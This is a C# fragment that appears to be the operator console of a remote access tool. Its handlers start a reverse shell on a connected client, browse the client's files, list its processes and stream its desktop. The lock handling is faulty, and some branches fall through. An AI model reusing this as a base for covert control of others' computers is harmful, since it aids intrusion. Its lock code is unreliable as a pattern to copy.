public void StopShell(Client client)
{
try
{
RevShellLock.AcquireReaderLock(15 * 1000);
if (IsRevShellActive && Client == client)
{
RevShellLock.UpgradeToWriterLock(15 * 1000);
IsRevShellActive = false;
C.WriteLine();
C.WriteLine("[+] Stopping Shell for Client {0}", client.PcName);
CurrentView.PrintBanner();
}
}
catch (ApplicationException exception)
{
C.WriteLine("============================================================================");
C.WriteLine("DeadLock? ConsoleUiMediator::StopShell(Client)");
C.WriteLine("============================================================================");
}
finally
{
RevShellLock.ReleaseWriterLock();
}
}
private bool ProcessInstructionInteracting(string instruction, string[] parts)
{
try
{
ClientLock.AcquireReaderLock(15 * 1000);
try
{
RevShellLock.AcquireReaderLock(15 * 1000);
if (IsRevShellActive)
{
Application.ExecInShell(Client, instruction);
return(true);
}
}
catch (ApplicationException)
{
C.WriteLine("DeadLock ? ProcessInstructionInteracting");
}
finally
{
RevShellLock.ReleaseReaderLock();
}
if (parts[0] == "ls")
{
if (CurrentView == FileSystemView)
{
string basePath = FileSystemView.CurrentBasePath;
if (basePath == null)
{
Application.FetchFileSystemDrives(Client);
}
else
{
Application.FetchDirEntries(Client, basePath);
}
}
else
{
if (parts.Length == 1 || (parts.Length > 1 && parts[1].Trim().Equals("/")))
{
Application.FetchFileSystemDrives(Client);
}
else
{
string basePath = Path.GetFullPath(parts[1]);
Application.FetchDirEntries(Client, basePath);
}
}
return(true);
}
if (parts[0].Equals("sysinfo", StringComparison.OrdinalIgnoreCase))
{
Application.FetchSystemInfo(Client);
return(true);
}
if (parts[0] == "fs")
{
if (parts.Length == 1 ||
(parts.Length > 1 && parts[1].Equals("start", StringComparison.OrdinalIgnoreCase)))
{
CurrentView = FileSystemView;
FileSystemView.SetActiveClient(Application.GetClient(Client.Id));
}
}
else if (parts[0] == "ps")
{
Application.FetchProcessList(Client);
return(true);
}
else if (instruction.Equals("desktop start", StringComparison.OrdinalIgnoreCase))
{
bool shouldStart;
lock (IsDesktopActiveLock)
{
shouldStart = !IsDesktopActive;
}
if (shouldStart)
{
Application.StartDesktop(Client);
}
return(true);
}
else if (instruction.Equals("desktop stop", StringComparison.OrdinalIgnoreCase))
{
lock (IsDesktopActiveLock)
{
if (IsDesktopActive)
{
IsDesktopActive = false;
Application.StopDesktop(Client);
}
}
return(true);
}
else if (parts[0] == "cd")
{
if (parts.Length > 1)
{
if (CurrentView != FileSystemView)
{
CurrentView = FileSystemView;
FileSystemView.ChangeDirectory(parts[1]);
FileSystemView.Client = Client;
}
}
}
else if (parts[0] == "shell")
{
try
{
RevShellLock.AcquireWriterLock(15 * 1000);
IsRevShellActive = true;
}
catch (ApplicationException)
{
C.WriteLine("DeadLock? RevShellLock.AcquireWriterLock");
}
finally
{
RevShellLock.ReleaseWriterLock();
}
Application.StartShell(Client);
return(true);
}
}
catch (ApplicationException exception)
{
C.WriteLine("============================================================================");
C.WriteLine("DeadLock? ConsoleUiMediator::ProcessInstructionInteracting AcquireReaderLock");
C.WriteLine("============================================================================");
return(false);
}
finally
{
ClientLock.ReleaseReaderLock();
}
return(false);
}